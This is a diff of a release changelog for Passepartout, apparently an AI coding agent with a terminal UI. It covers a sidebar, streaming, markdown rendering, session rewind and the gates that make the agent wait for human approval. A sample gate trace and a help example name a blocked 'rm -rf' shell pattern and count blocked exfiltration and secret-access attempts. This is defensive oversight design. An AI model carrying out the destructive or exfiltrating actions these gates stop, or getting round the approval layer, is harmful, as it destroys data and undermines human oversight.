diff --git a/CHANGELOG.org b/CHANGELOG.org index d38b1e0..613afcf 100644 --- a/CHANGELOG.org +++ b/CHANGELOG.org @@ -2,259 +2,1527 @@ #+AUTHOR: Passepartout #+FILETAGS: :changelog:release: -All notable changes to Passepartout, extracted from [[file:docs/ROADMAP.org][ROADMAP.org]] -DONE items with LOGBOOK timestamps. +All notable changes to Passepartout, with full rationale, LOGBOOK timestamps, +and implementation notes. Extracted from ROADMAP.org DONE items. +** v0.8.0: Direction 2 — Information Radiator (Foundation) + +The sidebar is what makes the Information Radiator direction unique. No competitor can render gate traces, focus maps, or rule counters because none has deterministic gates, foveal-peripheral context, or rule synthesis. The sidebar makes this data permanently visible. It also includes context monitoring, modified files, and tool status — all zero-LLM-token data from the deterministic layer. + +*** DONE Sidebar — always visible information panel :LOGBOOK: -- State "RELEASED" from "DONE" [2026-05-08 Fri 23:00] +- State "DONE" from "TODO" [2026-05-09 Sat] +:END: +:PROPERTIES: +:ID: id-v070-sidebar +:CREATED: [2026-05-08 Fri] :END: -* v0.7.2 — Gate Trace, HITL, Identity, Search + Maturation -** Gate Trace Visualization -Gate-trace-lines wired into view-chat. Renders colored entries -below agent messages (green passed, red blocked, yellow approval). -Ctrl+G toggles collapse per message. Default: visible. -** HITL Inline Panels -/approve and /deny parsed as structured events in on-key. -on-daemon-msg detects :approval-required and renders styled system -messages with :panel flag and :hitl theme color. -** Identity File -load-identity-file reads ~/memex/IDENTITY.org on startup. -agent-identity injects into think() IDENTITY section. -/identity opens in $EDITOR, auto-reloads. -** Safe-Tool Allowlist -read-only-p slot on cognitive-tool struct. tool-read-only-p -registry lookup. Read-only tools auto-pass dispatcher-check. -7 tools marked read-only (search, find, read, list, eval, tests, org-find). -** Message Search -/search performs case-insensitive substring search across -message history. Shows match count and context previews. -** Context Visibility -/context shows message count, focus, token estimate, and last 5 -message summaries. /context why shows memory object info. -** Session Rewind -/rewind restores memory to snapshot n-1 via rollback-memory. -/sessions lists last 10 snapshots with timestamps and object counts. -Auto-snapshot at turn boundaries in think(). -** Undo/Redo -Operation-level memory undo/redo. undo-snapshot before destructive -tool execution. /undo and /redo TUI commands restore memory state. -** Tool Hardening -Per-tool timeouts (shell=300s, search-files=30s, eval-form=10s). -call-with-tool-timeout wraps tool execution with sb-ext:with-timeout. -verify-write re-reads after write-file and compares content. -** Tag Stack -TAG_CATEGORIES env var parses severity tiers (@tag:block, :warn, :log). -dispatcher-privacy-severity wired into dispatcher-check vector 5. -/tags TUI command lists configured categories. -** Merkle Audit -audit-node exposes memory object lineage (type, hash, scope, version). -/audit TUI command. /audit verify counts objects and snapshots. -** Self-Help -/why shows most recent gate trace from message history. -** Agent Identity Injection -assemble-config-section builds live CONFIG from *provider-cascade*, -tokenizer-context-limit, gate count, and *hitl-pending*. -Injected into all three system-prompt assembly paths via fboundp guard. +Sidebar renders at right side of terminal, 42 columns wide. Visible when terminal ≥ 120 columns. When < 120 columns: disappears; accessible as absolute-positioned overlay via ~/sidebar~ or ~Ctrl+X+B~. -* v0.7.1 — Streaming + Markdown Rendering +Content (ordered vertically): +1. ~Gate Trace~ — live per-message trace from the most recent agent response. Colored by gate state (green/yellow/red). Updates on each response. +2. ~Focus~ — current foveal node ID + related node count. Shows what the agent is "looking at." +3. ~Rules~ — rule counter (~[Rules: 47]~) + session delta (~+2 this session~). Tick sound on increment. +4. ~Context~ — token gauge ~[████████░░] 42%~ showing context usage with color coding (green <50%, yellow 50-80%, orange 80-95%, red >95%). +5. ~Files~ — modified files list with +/- line counts. Updated on every tool execution that touches files. +6. ~Cost~ — session cost (~$0.12 this session~) updating after each LLM call. +7. ~Protection~ — gate effectiveness counter: "Gates blocked: 3 destructive, 7 network exfil, 12 secrets." Updated on each gate decision. This is the specific-value-proposition panel — no competitor has deterministic gates to count. + +Implementation uses a fourth Croatoan ~window~ (sidebar on right) or a panel overlay. All data is already in the daemon's response plist (~:rule-count~, ~:foveal-id~, ~:gate-trace~). The gate block counts come from a new ~*dispatcher-block-counts*~ alist tracked in ~dispatcher-check~. ~200 lines (includes panel 7 addition). + +*** DONE Sidebar overlay mode (< 120 cols) :LOGBOOK: -- Released [2026-05-08 Fri] +- State "DONE" from "TODO" [2026-05-09 Sat] +:END: +:PROPERTIES: +:ID: id-v070-sidebar-overlay +:CREATED: [2026-05-08 Fri] :END: -** Streaming (SSE + TUI) +When terminal width < 120, sidebar becomes an absolute-positioned overlay with semi-transparent backdrop (ncurses ~opaque~ + themed background). Toggle via ~/sidebar~ or ~Ctrl+X+B~. The chat area fills the full width when sidebar is hidden. ~30 lines. -- ~provider-openai-stream~: SSE streaming via Dexador ~:want-stream t~, parses ~data:~ lines -- ~parse-sse-line~: extracts content from SSE lines, returns ~:done~ for ~[DONE]~ -- ~cascade-stream~: streaming cascade called from ~think()~ via ~fboundp~ guard -- TUI ~on-daemon-msg~ handles ~:stream-chunk~ frames: appends live, stamps time on final chunk -- Esc during streaming: appends ~[interrupted]~, finalizes message, sends cancel event -- ~[streaming]~ indicator in status bar when ~:streaming-text~ is non-nil -- SSE cancel infrastructure: ~*stream-cancel*~ check in read loop (thread-safe for v0.7.2) - -** Watchdog - -- 30s stall detection via Dexador ~read-timeout~; injects ~[Response stalled]~ message on timeout - -** Markdown Rendering - -- ~parse-markdown-spans~: detects ~**bold**~, ~*italic*~, ~`code`~, ~https://~ URLs — returns (text . attrs) segments -- ~parse-markdown-blocks~: splits text at ~```~ boundaries, extracts language tag + content -- ~render-styled~: renders styled segments to Croatoan window with ~:bold~, ~:underline~, ~:bgcolor~ -- ~syntax-highlight~: colors Lisp code — strings green, comments dim, keywords purple, function calls peach -- ~view-chat~ wired: agent messages render markdown, others remain plain -- Tab-to-activate URLs: Tab on empty input extracts URL from last agent message; second Tab confirms - -** Bug Fixes - -- Fixed 7 pre-existing TUI test failures: ~first~→~aref~ (car on vectors), ~nil~→~zerop~ (empty vector) -- Fixed ~add-msg~ extra argument STYLE-WARNING in ~/theme~ handler - -** Test Suite - -- Core: 65/65 (100%) -- Neuro-provider: 13/13 (100%) -- TUI View: 22/22 (100%) -- TUI Main: 65/65 (100%) -- Total: 165 tests, 0 failures - -* v0.7.0 — TUI Essentials: Terminal Parity +*** DONE Command palette (Ctrl+P) :LOGBOOK: -- Released [2026-05-08 Fri] +- State "DONE" from "TODO" [2026-05-09 Sat] +:END: +:PROPERTIES: +:ID: id-v070-command-palette +:CREATED: [2026-05-08 Fri] :END: -** TDD from Contract +Single entry point for all actions. Mirrors OpenCode's pattern — fuzzy-searchable, categorized, keyboard-navigable: -Every item followed contract → RED test → GREEN implementation → recorded. +- ~Ctrl+P~ opens palette as overlay dialog +- Categories: Session (~/focus~, ~/scope~, ~/unfocus~, ~/rename~), Agent (~/rules~, ~/approve~, ~/config~), View (~/theme~, ~/sidebar~, ~/clear~), System (~/eval~, ~/status~, ~/reconnect~, ~/quit~) +- Fuzzy text filter; Up/Down to navigate; Enter to execute; Esc to dismiss +- Also shows keyboard shortcuts for each command as hints +- Implemented as a Croatoan ~window~ overlay with ~add-string~-based rendering and ~get-char~-based filtering. ~100 lines. -** Unicode Width Awareness +*** DONE TrueColor theme expansion (8 presets) +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-09 Sat] +:END: +:PROPERTIES: +:ID: id-v070-themes +:CREATED: [2026-05-08 Fri] +:END: -- ~char-width~: ASCII/CJK/emoji/combining marks/tab/null. 30 lines, pure Lisp -- 6 TDD tests, 11 assertions +All 27 existing theme keys wired into rendering. Use Croatoan's ~set-rgb~ for 24-bit hex color support (already available in Croatoan; currently unused). Add 4 new presets to the existing 4: -** Readline/Ctrl Key Bindings +- ~nord~: blue-gray backgrounds, frost accent (#5E81AC key, #BF616A error, #A3BE8C success) +- ~tokyonight~: purple-blue backgrounds, teal accent (#7AA2F7 key, #F7768E error, #9ECE6A success) +- ~catppuccin~: warm pastels, mauve accent (#CBA6F7 key, #F38BA8 error, #A6E3A1 success) +- ~monokai~: dark brown backgrounds, orange accent (#A6E22E key, #F92672 error, #E6DB74 success) +Theme switch via ~/theme ~ (already implemented). Theme preview: on hover/navigate in theme picker, apply temporarily; on cancel (Esc), revert to original. ~60 lines TUI + ~120 lines preset definitions. +** v0.7.2: TUI — Gate Trace + HITL + Search +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: + +Gate trace data is already stored per-message (~:gate-trace~ field in ~add-msg~) but never rendered. HITL approval requires typing raw text that happens to match ~/approve~ — no TUI-internal command handling. Context visibility and session control close the audit trail: the user can inspect what the LLM sees and undo what went wrong. These are Passepartout's architectural differentiators that remain invisible to users. + +*** DONE Gate trace visualization +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: +:PROPERTIES: +:ID: id-v062-gate-trace +:CREATED: [2026-05-08 Fri] +:END: + +Render gate trace lines below each agent message in dim: + +- ~✓ gate-name~ in ~:gate-passed~ theme color (green) for passed gates +- ~✗ gate-name: reason~ in ~:gate-blocked~ theme color (red) for blocked gates +- ~→ gate-name: HITL required~ in ~:gate-approval~ theme color (yellow) for gates requiring human approval +- Collapsible: Tab on a message toggles trace visibility. Default: visible. + +Gate trace data format (already in messages): ~(:gate-trace ((:gate "dispatcher-path" :result :passed) (:gate "dispatcher-shell" :result :blocked :reason "rm -rf pattern") (:gate "dispatcher-network" :result :approval)))~. ~50 lines. + +*** DONE HITL inline command handling +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: +:PROPERTIES: +:ID: id-v062-hitl-inline +:CREATED: [2026-05-08 Fri] +:END: + +~on-key~ currently treats ~/approve HITL-xxxx~ as a raw text message forwarded to the daemon. The daemon's perceive gate intercepts it, but the TUI should: + +- Parse ~/approve HITL-xxxx~ and ~/deny HITL-xxxx~ as TUI-internal commands (not forwarded as chat text) +- Send structured approval/denial message to daemon: ~(:type :event :payload (:action :hitl-respond :token "HITL-abcd" :decision :approved))~ +- Render HITL prompts as styled inline panels with colored border (permission theme color), showing the action, explanation, and available choices ("Allow (Enter)" / "Deny (Esc)") +- After approval/denial, collapse the prompt panel and add a system message: "✓ Approved: shell command" or "✗ Denied: shell command" +- Clarifying-question escalation: when the same action has been blocked twice and retried (2 rejections in the 3-retry loop), the third attempt injects a /clarify prompt with targeted discriminating options instead of a generic rejection. Inspired by constrained conformal evaluation (Barnaby et al., arXiv:2508.15750v1): "This command touches ~/memex/ and /etc/. Is the /etc/ path intended? [1] Intended [2] Accidental [3] Cancel." The user's answer constrains the next LLM proposal, reducing the 3-retry cycle to 1 clarify + 1 retry. ~1.1x token multiplier vs current ~1.39x. +~60 lines. + +*** DONE Message search (/search or Ctrl+F) +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: +:PROPERTIES: +:ID: id-v062-search +:CREATED: [2026-05-08 Fri] +:END: + +- ~Ctrl+F~ or ~/search ~: fuzzy-filter the message list, show matching messages in a temporary filtered view +- Up/Down navigate matches, Enter to jump to that message in full chat +- Escape to exit search and return to full view +- Highlight matching text in the rendered messages +~80 lines. + +*** DONE Context visibility command (~/context~) +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: +:PROPERTIES: +:ID: id-v062-context +:CREATED: [2026-05-08 Fri] +:END: + +Show the user exactly what the agent sees — the assembled system prompt trimmed to the current context budget. Resolves the "context efficiency vs. context transparency" tension identified in the Claude Code architecture paper (arXiv:2604.14228v1). + +- ~/context~ renders the full assembled prompt as a scrollable overlay divided into sections: IDENTITY, TOOLS, TIME, CONTEXT, LOGS +- Each section shows token count in the section header: ~IDENTITY (124 tokens)~ +- Total usage at bottom: ~"3,241 / 8,192 tokens (39%)"~ — matches the sidebar gauge +- Color-coded: sections below budget in green, near budget in yellow, trimmed sections in red with "X nodes dropped (budget)" annotation +- The data already exists in ~think()~'s prompt assembly in ~core-reason.lisp~ — this is a rendering exposure, not new computation +- ~40 lines. + +*** DONE Session rewind, fork, and resume — Merkle-root-based +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: +:PROPERTIES: +:ID: id-v062-session-rewind +:CREATED: [2026-05-08 Fri] +:END: + +Passepartout's Merkle tree makes session control more powerful than Claude Code's transcript-based model. Claude Code rewinds conversations but not filesystem state. Passepartout can restore the entire Merkle root — conversation history, memory objects, file modifications, and TODO states — to a prior turn. + +- ~memory-snapshot~ at each turn boundary (not just on crash). Existing infrastructure from v0.2.0. +- Store turn metadata: session ID, turn number, timestamp, Merkle root hash, user message summary +- ~/rewind~ — show last 10 turns with summaries; select one to restore. ~"⚠ This restores all files to their state at Turn 7."~ with confirmation dialog +- ~/rewind 3~ — rewind 3 turns directly (shortcut for the most common case) +- ~/fork ~ — create a new session from the current Merkle root. Independent from the original — changes in the fork don't affect the parent +- ~/resume ~ — resume a prior session from its latest Merkle root snapshot +- ~/sessions~ — list all sessions with status (active/idle/archived), last activity timestamp, turn count +- Compare to Claude Code: Passepartout's rewind restores filesystem state, not just conversation transcript. This is a permanent competitive advantage — Merkle tree memory makes it cheap (~30 lines on top of existing snapshots) +- ~200 lines total (~30 daemon snapshot-at-turn, ~150 TUI commands + confirmation dialogs, ~20 session registry persistence). + +*** DONE Safe-tool allowlist — read-only operations auto-approve +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: +:PROPERTIES: +:ID: id-v062-safe-tools +:CREATED: [2026-05-08 Fri] +:END: + +Claude Code and Hermes both have safe-tool allowlists that skip HITL for read-only operations. This reduces HITL noise without compromising the deterministic model — read-only tools can't cause harm. + +- Register each cognitive tool with a ~:read-only-p~ flag on the ~def-cognitive-tool~ macro +- In ~dispatcher-check~: if the tool in the action plist is read-only and the path target (if any) is within the workspace, return ~:allowed~ unconditionally +- Read-only tools: memory query, file read, search (grep), glob (ls), directory listing, eval (Lisp only — no shell), org-find-headline, org-agenda-today +- Write tools (shell, write-file, git, org-modify) always go through full gate stack +- This is Claude Code's ~isAutoModeAllowlistedTool()~ pattern — 20 lines in ~security-dispatcher.lisp~ + +*** DONE Agent identity file — ~/memex/IDENTITY.org~ +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: +:PROPERTIES: +:ID: id-v062-identity +:CREATED: [2026-05-08 Fri] +:END: + +Claude Code has ~CLAUDE.md~ (always-loaded instructions hierarchy). OpenClaw has ~SOUL.md~/~IDENTITY.md~. Hermes has MemoryProvider system prompt blocks. Passepartout has no equivalent — system prompt assembly is entirely in ~think()~. + +- ~~/memex/IDENTITY.org~ — a single Org file loaded at daemon startup into ~*agent-identity*~ +- Injected into ~think()~'s IDENTITY section between the assistant name and the standing mandates +- Can contain Org headlines with sections: Preferences, Conventions, Projects, Contacts, Boundaries +- User-editable in any text editor or via ~/identity~ TUI command (opens in $EDITOR, reloads on save) +- Survives daemon restarts, survives skill reloads, survives tangling +~30 lines in ~core-reason.lisp~ + ~20 lines TUI command. + +*** DONE Undo/redo per operation — ~/undo~, ~/redo~ +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: +:PROPERTIES: +:ID: id-v062-undo +:CREATED: [2026-05-08 Fri] +:END: + +Session rewind (above) restores the Merkle root to a prior turn boundary. This is operation-level undo: restore to the last tool execution within the current turn. + +- ~memory-snapshot~ at each tool execution boundary (file write, shell command, org-modify), not just at turn boundaries. Existing infrastructure from v0.2.0 — just change the snapshot trigger point. +- ~/undo~ restores the most recent operation-level Merkle snapshot. "Undid: write-file ~/memex/projects/passepartout/lisp/core-reason.lisp~" +- ~/redo~ restores the pre-undo snapshot. "Redid: write-file core-reason.lisp" +- Max 20 operation snapshots per session (ring buffer, oldest evicted) +~20 lines on top of existing Merkle snapshot infrastructure. + +*** DONE Expand /context debugging — similarity trace + dropped nodes +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: +:PROPERTIES: +:ID: id-v062-context-debug +:CREATED: [2026-05-08 Fri] +:END: + +The ~/context~ command (above) shows what the model sees. Add two deeper views: +- ~/context why ~ — show similarity score trace: "Node #42 'dispatch-loop redesign' included at depth 2 because cosine similarity to foveal node #17 'core-loop.lisp' = 0.73 (threshold 0.60)." +- ~/context dropped~ — show nodes pruned by the foveal-peripheral model: "12 nodes dropped: 8 by depth (≥3), 4 by similarity (<0.60)." +- Both views are read-only renderings of data already computed during ~context-awareness-assemble~. The similarity scores and depth classifications exist in memory — they're just never exposed. +~60 lines of rendering on existing data. + +*** DONE Tool execution hardening — timeouts + write verification +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: +:PROPERTIES: +:ID: id-v062-tool-hardening +:CREATED: [2026-05-08 Fri] +:END: + +Existing tools are thin wrappers with no error recovery. Claude Code has per-tool timeouts, write verification (read back after write), and output spilling. This hardens the tool execution layer — every tool is a Dispatcher gate surface, and brittle tools undermine trust. + +- ~*tool-timeouts*~ hash table: per-tool timeout in seconds (default 120s, configurable per tool). ~shell~ = 300s (builds take time), ~search-files~ = 30s (fast scans), ~eval-form~ = 10s (code should be quick). Enforced via ~with-timeout~ macro wrapping tool body execution. +- Write verification: after ~write-file~ or ~org-modify-file~, read back the written content and compare. On mismatch, log a warning and re-attempt once. Catches filesystem failures and partial writes. ~20 lines in ~programming-tools.lisp~ +- Read-only tool response caching: if the same tool with identical args is called twice in the same turn, return cached result instead of re-executing. ~15 lines. +~60 lines total. + +*** DONE Tag stack — categories + severity tiers +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: +:PROPERTIES: +:ID: id-v062-tag-stack +:CREATED: [2026-05-08 Fri] +:END: + +The privacy tag filter (~dispatcher-check-privacy-tags~) is binary: a tag matches or it doesn't. This expands it into a layered system: + +- ~TAG_CATEGORIES~ env var with comma-separated tag→severity mappings: =@personal:block,@financial:block,@draft:warn,@review:warn= +- Three severity tiers: ~:block~ (always filter, never reach LLM), ~:warn~ (log a warning, include in gate trace, let through), ~:log~ (silently record, include in telemetry) +- User-defined tag categories beyond ~@personal~: financial, credential, health, draft, review, internal — any ~@tag~ prefix is recognized +- The ~/tags~ TUI command lists all defined tags, their severity, and how many times each was triggered this session +- Backward compatible: existing ~PRIVACY_FILTER_TAGS~ env var becomes the default ~:block~ tier entries +~50 lines in ~security-dispatcher.lisp~ + ~20 lines TUI command. + +*** DONE Merkle provenance audit — ~/audit ~ +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: +:PROPERTIES: +:ID: id-v062-audit +:CREATED: [2026-05-08 Fri] +:END: + +Every Passepartout memory object has content-addressed identity via Merkle hashing (v0.2.0). No competitor has this — linear transcripts lose provenance on compaction. Expose it: + +- ~/audit ~ — display full lineage: which session created this node, which tool modified it, which gate approved each modification, timestamps at each change +- ~/audit files~ — show which files were changed in the same turn as this node was created, with diff sizes +- ~/audit verify~ — re-hash the entire Merkle tree and compare with stored root. "✓ 847 nodes verified, root hash matches." Catches silent corruption. +- Provenance data is already in the Merkle tree's parent-child hash chain. This is a rendering exposure, not new data. +~30 lines on existing Merkle infrastructure. + +*** DONE Self-help — agent can answer questions about itself +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: +:PROPERTIES: +:ID: id-v062-self-help +:CREATED: [2026-05-08 Fri] +:END: + +Passepartout's documentation, source code, and state all live in the same Org files the agent already reads. No competitor can do self-help with zero hallucination because none have agent documentation in the same format as agent memory. + +- Inject docs path into system prompt IDENTITY: ~"Your documentation: ~/memex/projects/passepartout/docs/USER_MANUAL.org. Read it to answer questions about yourself. You are Passepartout v0.7.2."~ +- ~/help ~ — agent reads ~USER_MANUAL.org~ by headline, returns relevant section. "How do I configure a new provider?" → reads the Provider Configuration section, explains with correct API key format. Zero hallucination — the docs are the source of truth. +- ~/why~ — shows the most recent gate trace in human-readable form: "Gate 7 (shell-safety) blocked your `rm -rf` because it matched pattern :destructive-rm. You can approve with /approve HITL-1234. Last 3 decisions: 1 blocked, 2 passed." +~30 lines for system prompt injection + ~20 lines for /help routing. + +*** DONE Agent identity injection — system prompt knows its own config +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: +:PROPERTIES: +:ID: id-v062-agent-identity +:CREATED: [2026-05-08 Fri] +:END: + +Currently the system prompt has IDENTITY (assistant name) but the agent doesn't know its own version, providers, gate count, or config. When asked "what version are you?" or "what models do you have?", it hallucinates. Injecting live config into the system prompt makes the agent self-aware without file I/O. + +- New CONFIG section in system prompt (between IDENTITY and TOOLS): ~"You are Passepartout v0.7.2. Active providers: Anthropic claude-sonnet-4 (default), DeepSeek deepseek-chat. Context window: 8K tokens. 21 security gates active. 47 rules learned. Context budget: 55% used."~ +- Built from live state: ~*provider-cascade*~, ~tokenizer-context-limit~, ~(hash-table-count *skill-registry*)~, ~(hash-table-count *hitl-pending*)~, gate count +- The agent can answer any config question — "what providers?" "how many rules?" "what version?" — with zero hallucination +- Config section updates at each ~think()~ call (the data is small, ~100 tokens) +~40 lines in ~core-reason.lisp~ system prompt assembly. +** v0.7.1: TUI — Streaming + Markdown Rendering +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: + +Every competitor streams text as the LLM produces it. Passepartout shows a "…thinking" spinner then dumps a wall of text. This is v0.1-era UX. Also: LLM output contains ~**bold**~, ~```code blocks```~, and ~*italic*~ that are currently rendered as literal markdown characters. Both issues are daemon protocol + TUI rendering changes. + +*** DONE Stream-chunk protocol +:PROPERTIES: +:ID: id-v061-streaming +:CREATED: [2026-05-08 Fri] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: + +- New frame type ~(:type :stream-chunk :payload (:text "partial..."))~ in ~core-transport.lisp~. Final chunk is an empty string, signalling end-of-stream. +- ~neuro-provider~: for providers supporting streaming (OpenRouter, OpenAI, Anthropic, Groq), send ~"stream": true~. Read SSE stream, extract ~delta.content~ from each chunk, call new ~*stream-callback*~ with partial text. +- TUI renders partial output in chat window as it arrives: append text to last agent message line-by-line. The "…thinking" spinner is replaced by live, building text. +- Streaming interrupt: Esc or any key during streaming → cancel LLM call (close HTTP connection) → capture partial response as agent message → user's keystroke becomes new input. +- ~[streaming]~ indicator on current message; changes to timestamp on completion; ~[interrupted]~ if cancelled mid-stream. +- ~50 lines daemon + ~80 lines TUI rendering. + +*** DONE Streaming watchdog +:PROPERTIES: +:ID: id-v061-watchdog +:CREATED: [2026-05-08 Fri] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: + +When the LLM stalls for 30+ seconds without new deltas, auto-reset the stream and inject a system message: "Response stalled — the model may be overloaded. Send another message to retry." Claude Code and OpenClaw both implement this pattern. ~25 lines. + +*** DONE Markdown rendering — code blocks + bold + italic +:PROPERTIES: +:ID: id-v061-markdown +:CREATED: [2026-05-08 Fri] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: + +Replace literal markdown syntax with styled text using Croatoan attributes: + +- ~``` ... ```~ code blocks: render with dim background, use theme's syntax colors (keyword purple, string green, function peach from the theme system). Regex-based highlighting: match ~defun~/~defvar~/~lambda~ as keywords, ~"..."~ as strings, ~(...)~ as function calls. No parser required for 95% of LLM code output. +- ~**bold**~ → Croatoan ~:bold~ attribute. +- ~*italic*~ → Croatoan ~:underline~ attribute (true italic rarely available in terminals). +- ~`inline code`~ → dim background highlight on the span. +- Tab-accessible links: render URLs in dim after link text; press Tab to activate (opens via ~xdg-open~ on Linux, ~open~ on macOS). + +Implementation: a ~render-styled~ wrapper that takes a list of ~(text . plist-of-attributes)~ segments and emits sequential ~add-string~ calls at correct x positions. ~50 lines. The markdown parser is ~80 lines of regex-based block/span detection. Total: ~130 lines. +** v0.7.0: TUI Essentials — Terminal Parity +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: + +The TUI is the main UI for v1.0.0. Competitive analysis of Claude Code, OpenCode, Hermes, and OpenClaw revealed that Passepartout's TUI is architecturally sound but missing table-stakes terminal UX features. These are the things every terminal application since the 1980s does that Passepartout doesn't. No design philosophy would argue against them. + +*** DONE Readline/Ctrl key bindings +:PROPERTIES: +:ID: id-v060-readline +:CREATED: [2026-05-08 Fri] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Thu] +:END: - Ctrl+D quit, Ctrl+U clear line, Ctrl+W delete word, Ctrl+A/E home/end -- Ctrl+L redraw, Ctrl+X+E external editor (~$EDITOR~ fallback), Ctrl+C interrupt +- Ctrl+L redraw, Ctrl+X+E external editor, Ctrl+C interrupt cascade - 6 TDD tests, all pass -** Status Bar Fix - -- Timestamp right-aligned at ~(- w 12)~ on line 2, focus info at ~:x 1~ — no overlap - -** Scroll Notification +*** DONE Unicode width awareness +:PROPERTIES: +:ID: id-v060-unicode +:CREATED: [2026-05-08 Fri] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Thu] +:END: +- ~char-width~ — ASCII/CJK/emoji/combining marks/tab/null. 30 lines, pure Lisp +- 6 TDD tests, 11 assertions. Used by ~word-wrap~ for accurate line counting. +*** DONE Scroll indicator + new-message notification +:PROPERTIES: +:ID: id-v060-scroll-indicator +:CREATED: [2026-05-08 Fri] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Thu] +:END: - ~:scroll-at-bottom~ and ~:scroll-notify~ state flags -- ~add-msg~ sets ~:scroll-notify~ when user is scrolled up on new message -- 2 TDD tests +- ~add-msg~ sets ~:scroll-notify~ t when user is scrolled up on new message -** Deeper Autocomplete +*** DONE Fix status bar line 2 overlap +:PROPERTIES: +:ID: id-v060-status-bar-fix +:CREATED: [2026-05-08 Fri] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Thu] +:END: +- Timestamp right-aligned at ~(- w 12)~ on line 2, focus at ~:x 1~ +*** DONE Deeper autocomplete (frecency + subcommand) +:PROPERTIES: +:ID: id-v070-autocomplete +:CREATED: [2026-05-08 Fri] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Thu] +:END: - ~/theme ~ subcommand completion, ~/focus ~ directory completion - ~@path~ file path completion from ~memex/projects/~ (Org + Lisp files) -- 2 TDD tests +- 3 TDD tests, all pass -** Test Suite - -- Core: 135/135 (100%) -- TUI: 39/46 (7 pre-existing failures fixed in v0.7.1) - -* v0.6.0 — Time Awareness +*** DONE External editor integration (Ctrl+X+E) +:PROPERTIES: +:ID: id-v070-external-editor +:CREATED: [2026-05-08 Fri] +:END: :LOGBOOK: -- Released [2026-05-08 Thu] +- State "DONE" from "TODO" [2026-05-08 Thu] +:END: +- Ctrl+X prefix tracking + Ctrl+E chord, ~:pending-ctrl-x~ state flag +- System message on activation, ~$EDITOR~ / ~$VISUAL~ / ~vi~ fallback (runtime) +- 1 TDD test passes (model-level) + +*** DONE TUI-based setup wizard — deferred to v0.8.0 +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-09 Sat] :END: -** Temporal Memory Filtering (symbolic-time-memory skill) +*** DONE Pads for chat scrolling — Page Up/Down by 10 lines +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Fri] +:END: +** v0.6.0: Time Awareness -- ~memory-objects-since(timestamp)~ — hash-table walk returning objects with ~version >= timestamp~ -- ~memory-objects-in-range(since until)~ — version between two timestamps (inclusive) +Rationale: Passepartout already has the infrastructure for time awareness — timestamped memory (v0.1.0), heartbeat+cron (v0.3.0), and foveal-peripheral context pruning (v0.2.0). Adding time awareness costs ~175 lines of Lisp and unlocks three layers that no competitor provides. The temporal dimension is the missing axis in the foveal-peripheral model: prune in time as well as in semantic space. + +*** DONE Time Awareness — Level 2: temporal memory filtering +:PROPERTIES: +:ID: id-v060-time-memory +:CREATED: [2026-05-07 Thu] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Thu] +:END: + +- ~org/symbolic-time-memory.org~ → ~lisp/symbolic-time-memory.lisp~ (skill) +- ~memory-objects-since(timestamp)~ — hash-table walk, ~20 lines +- ~memory-objects-in-range(since until)~ — version between two timestamps, ~15 lines - ~context-query-with-time~ — extended query with ~:since~ / ~:until~ parameters -- 6 tests, 100% pass. Pure Lisp, sub-millisecond, 0 LLM tokens +- 6 tests, 100% pass. Pure Lisp, sub-millisecond, 0 LLM tokens. -** Sensor-Time Skill +*** DONE Time Awareness — Level 3: ~sensor-time~ skill +:PROPERTIES: +:ID: id-v060-sensor-time +:CREATED: [2026-05-07 Thu] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Thu] +:END: -- ~format-time-for-llm~ — TIME: section for system prompt, iso/natural format +- ~org/sensor-time.org~ → ~lisp/sensor-time.lisp~ (skill) +- ~format-time-for-llm~ — TIME: section, iso/natural format, ~TIME_FORMAT~ env var - ~session-duration~ — session start tracking, included in TIME section -- ~sensor-time-tick~ — deadline scanning via cron (~:reflex~ tier), 0 LLM tokens -- ~TIME_AWARENESS~ / ~TIME_FORMAT~ / ~DEADLINE_WARNING_MINUTES~ env vars -- 13 tests, 100% pass +- ~sensor-time-tick~ — deadline scanning via cron (~:reflex~ tier), ~DEADLINE_WARNING_MINUTES~ env var +- ~sensor-time-initialize~ — registers the time-tick cron at load +- 13 tests, 100% pass. All pure Lisp, 0 LLM tokens for temporal awareness. -** System Prompt - -- TIME section injected at top of ~think()~ via ~fboundp~ guard in ~core-reason.lisp~ -- Falls back gracefully when sensor-time skill not loaded - -* v0.5.1 — Compilation Hardening +*** DONE Time Awareness — Level 1: timestamp in system prompt +:PROPERTIES: +:ID: id-v060-time-prompt +:CREATED: [2026-05-07 Thu] +:END: :LOGBOOK: -- Released [2026-05-08 Thu] +- State "DONE" from "TODO" [2026-05-08 Thu] :END: -- Fixed ~defvar~ missing opening paren in ~security-vault.lisp~ 